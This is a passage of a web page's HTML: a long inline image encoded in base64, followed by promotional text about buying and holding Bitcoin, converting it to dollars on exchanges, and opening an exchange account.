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' alt='https://www.beaxy.com/' class='aligncenter' style='display:block;margin-left:auto;margin-right:auto; width='401px'/></a></p>
<p>Owning a Bitcoin at CEX.IO gives you the ability to hold assets until the price growth or benefit from making buy and sell trading operations. There is no doubt that owning some Bitcoins is a good idea – in the world of cryptocurrencies, BTC is a kind of analog of gold in traditional finance. Since its launch in 2009, Bitcoin has proven to be a profitable investment for those who owned it initially or started owning it at any time. Bitstamp, Wirex, and Coinbase are just a few of the many services that enable you to convert bitcoins to dollars. They’re all basically the same except in their layout, design, and fee schedule. No matter how you transfer and convert your bitcoins, you’ll usually need to wait several days for the third-party marketplace to verify your identity and account details.</p>
<p><h2>The Use Case Of Bitcoin As A Payment Instrument</h2>
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<p>For instance, one day the exchange rate might allow you to trade 1 bitcoin for $4,900. First, you’ll want to choose a cryptocurrency trading platform to exchange your U.S. dollars for Bitcoin or other digital currencies. Depending on the exchange you choose, you may need to provide information <a href="https://www.beaxy.com/exchange/btc-usd/">bitcoin price</a> like your Social Security number, ID, and your source of income when you create your account. Once you’ve created your account, most exchanges will ask to connect your bank account or a debit card. That way, you can fund it with fiat currency, like 